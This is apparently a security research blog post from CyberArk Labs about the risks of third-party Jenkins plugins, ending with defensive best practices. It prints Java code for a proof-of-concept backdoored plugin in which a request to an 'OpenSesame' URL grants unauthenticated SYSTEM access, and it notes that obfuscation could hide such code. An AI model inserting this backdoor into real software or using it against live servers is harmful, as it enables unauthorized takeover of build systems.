One of the many reasons why Jenkins is so popular is the breadth of available plugins. With more than 1,600 available plugins on the Jenkins website and many more available for download on the web[i], automation opportunities are endless.
The plugins – or extension points – allow Jenkins to remain light and stable. They also enhance the power and usability of the continuous integration (CI) automation server.
However, if not handled correctly, plugins can become a security weakness. This post explores the potentially darker side of plugins and the security risks that they can introduce.
This is the third in a series of Jenkins-focused research posts from CyberArk Labs, following a recent post on configuring and securing credentials in Jenkins. Jenkins is a valuable tool, and it’s CyberArk Labs’ goal to educate organizations on security risks and offer recommended mitigations and best practices.
Understanding Plugins
Simply put, a plugin is a software component that adds a specific functionality to an existing computer program[ii]. Some of the most popular Jenkins plugins are the mailer plugin, which adds the capacity to send email notifications; the credentials plugin, which extends Jenkins capacity to manage credentials; and the SSH credentials plugin, which allows Jenkins to save and restore SSH credentials.
In the Jenkins context, plugins are written in Java and enable ultimate customization of Jenkins. They can be used to integrate different tools – including version control, automated testing and code quality tools. There are even plugins to change the way Jenkins looks, and to add more user-interface functionality. Best of all, Jenkins plugins allow users to be selective in adding the functionality they want without adding or supporting capabilities they don’t need.
A Jenkins plugin is a single compressed .hpi file that contains the required files for the plugin to work. It’s ‘injected’ into the Jenkins master core software using a special connector, or extension point, readily available on the core or existing plugins.
Once injected, the plugin becomes part of the Jenkins core, capable of performing all tasks the Jenkins core can. For example, executing code, uploading and downloading from the Internet, reading and writing files on the master filesystem, reading and decrypting credentials stored on the master and so on.
Since Jenkins was originally designed as an automatic build system, the most straightforward extension point for a plugin to connect is to a builder implementation, which simply builds a project. A sample builder plugin is presented in the Jenkins Plugin Tutorial. This plugin adds a new build tool to the Jenkins built-in builders, which include Ant and Maven.
A builder extension point sounds pretty reasonable. However, if we look at the Jenkins Extension Point Index, we find a staggering 144 different extension points in the Jenkins core, and many more extension points in plugins. There is also a detailed guide on how to define new extension points for plugins.
This is great for those quickly adapting developers – if you need a new functionality in Jenkins, just write the Java code, connect it to the appropriate extension point, and voilá, you have created your own new customized Jenkins. However, most Jenkins plugins are written by third parties. These third party contributions vary greatly in quality and security aspects, and may become unsupported with little to no notice, so if a security vulnerability or bug was found there might not be anyone to fix it.
Publishing and Installing Plugins
One of the most commonly asked questions about Jenkins is why the use of blue balls, or lights, indicate success of a build. It turns out that in Japan, where the original creator of Jenkins was brought up, first traffic signals were blue for go (instead of green), and red for stop.
This was enough of an issue for some users that the Green Balls plugin was released, and currently stars in the list of installed plugins, with close to 30,000 installations. The Green Balls plugin extends the PluginServletFilter, which intercepts calls to static resources, such as images, allowing it to filter those calls and replace resource names to switch from blue colored balls to green ones, when necessary. We’ll reference this plugin, maintained by Asgeir Storesund Nilsen, as an example plugin as part of our research.
First, let’s look at the various methods for publishing and installing plugins that Jenkins supports:
- Publish a plugin on the Jenkins Update Center and use the Jenkins plugin page to install
A Jenkins admin is allowed access to the Manage Plugins page, where Jenkins lists all available plugins in the Jenkins Update Center. As there are more than 1,600 available plugins, we need to use the filter field to locate a specific plugin. Each plugin on this page is hosted on the Jenkins plugin server and is tested for authenticity prior to installation.Clicking the plugin name opens a plugin page with plugin information, such as the name of the maintainer, which other plugins it’s dependent on, and the number and trend chart of this plugin’s installations.Publishing a new plugin on the Jenkins Update Center is a relatively straight forward task. Plugins may be hosted on the Jenkins Update Center upon request by the plugin developer. Plugin developers need to issue a formal request to the Jenkins maintainers, select an agreeable plugin name and host the plugin code on Github.
To the best of our knowledge, vulnerability scans are not performed on plugins before they are uploaded to the Jenkins Update Center and allowed to be installed on Jenkins masters. - Publish and install a plugin file locally
By using the Advanced tab on the Manage Plugins page, a Jenkins admin is capable of uploading a .hpi file to the Jenkins master and installing it as a plugin. This avoids the need to have the plugin published and hosted on the Jenkins Update Center. The uploaded .hpi file comprises a compressed package of the plugin Java code and other resources, such as images, javascript code and more. The .hpi file can be produced locally, by a local plugin developer, or published on the Internet as a plugin package ready for upload to the master. - Copy the .hpi file directly to the plugins directoryA third method for installing plugins is the straightforward copying of the plugin’s .hpi file into the Jenkins plugins/ directory, followed by a restart of the Jenkins master. When Jenkins is restarted, it looks for .hpi files in the plugins/ directory, and will automatically install these as new plugins. This may be considered a security threat in cases where access to the plugins/directory is allowed to users other than the Jenkins admin.
- Install plugins automatically using scriptsA fourth method of installing previously published plugins is by using scripts, either via the Jenkins REST API or via Jenkins Command Line Interface (CLI), which has been deprecated in recent versions. Scripts installation is out of scope of this blog post. Suffice it to say that only Jenkins admins can use this method. Further information may be found here.
To sum up, installing Jenkins plugins seems to be a high-privileged operation, requiring either a Jenkins admin or someone with access to the Jenkins filesystem to perform.
On the other hand, publishing a malicious plugin on the Jenkins plugins website or simply as a standalone .hpi file on the web is not nearly as difficult for an attacker to accomplish.
Aladdin’s Lamp Plugin
Taking the attacker mindset, we wanted to see how difficult it is to create a malicious, yet perfectly functional plugin – a plugin that exploits the Jenkins plugin ecosystem by making small changes to the Green Balls plugin, in this example.
Our plugin changes the Green Balls plugin image to an image of Aladdin’s lamp. See the GreenBallFilter.java code below to see how:
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { if (req instanceof HttpServletRequest && resp instanceof HttpServletResponse) { final HttpServletRequest httpServletRequest = (HttpServletRequest) req; final HttpServletResponse httpServletResponse = (HttpServletResponse) resp; final String uri = httpServletRequest.getRequestURI(); if (uri.endsWith(".gif") || uri.endsWith(".png")) { String newImageUrl = mapImage(uri); if (newImageUrl != null) { if (logger.isLoggable(Level.FINE)) { logger.log(Level.FINE, "Redirecting {0} to {1}", new Object[] { uri, newImageUrl }); } RequestDispatcher dispatcher = httpServletRequest.getRequestDispatcher(newImageUrl); dispatcher.forward(httpServletRequest, httpServletResponse); return; } } if (uri.endsWith("OpenSesame")) { ACL.as(ACL.SYSTEM); RequestDispatcher dispatcher = httpServletRequest.getRequestDispatcher(“/manage”); dispatcher.forward(httpServletRequest, httpServletResponse); return; }
The immediate effect of the new Aladdin’s Lamp plugin is to replace the Jenkins familiar success blue balls with green Aladdin’s lamps, marked in red circles below:
However, by inserting lines 20 to 25[iii] to GreenBallFilter.java and releasing the “new” Aladdin’s lamp plugin, any unauthenticated remote attacker can now use their browser to send the following specially crafted request to gain SYSTEM access to a Jenkins master that installed our plugin:
http://jenkinsURL:8080/OpenSesame
Here’s a video demo:
Best Practices for Plugin Security
Plugins are powerful tools that become an integral part of the Jenkins master once installed. They play a very important role in the Jenkins automation server project. As a matter of fact, we could not imagine Jenkins without plugins today.
Plugins possess powerful capabilities, and as stated earlier, can introduce security weaknesses if not handled correctly. They’re easy to install – for both legitimate users and attackers – and there’s possibility for abuse.
It’s also important to keep in mind that plugins are often developed by third parties who may lack security expertise, and that these plugins can go unsupported.
Here are several precautionary best practices for making sure unsecured or unsupported plugins don’t expose an organization to unnecessary risk:
- Exercise caution in loading plugins from Internet sources other than the Jenkins Update Center. It is strongly recommended not to upload any plugins from sources other than the Jenkins Update Center, unless you really know what you are doing. Treat plugins as unrestricted code uploaded to the Jenkins master and make sure you load plugins from reputable sources only.
- Constantly update Jenkins plugins as security issues and bugs are continuously spotted and fixed by plugin maintainers.
- Protect the Plugins/directory on the Jenkins master. Due to the large number of plugins, it is extremely difficult for admins to track the authenticity of files in that directory. If attackers have access to the Plugins/directory, they can execute code on the master by simply copying plugin code to the Plugins/directory and waiting for the Jenkins master to restart.
- Verify each plugin source code for security vulnerabilities before installation, whenever possible. All Jenkins Update Center plugins should have their source code publicly available on GitHub.
[i] For example: https://github.com/fossas/fossa-jenkins-plugin, https://gitlab.cern.ch/lhcb-core/Jenkins-FlyWeightProject-Plugin, https://help.rallydev.com/jenkins-installation-user-guide
[ii] https://en.wikipedia.org/wiki/Plug-in_(computing)
[iii] We actually only need lines 20-21 for the “Open Sesame” back-door effect, but we use the other lines for demonstration purposes. On top of that, there are Java source code obfuscating techniques which would make the extra code lines pretty much unreadable.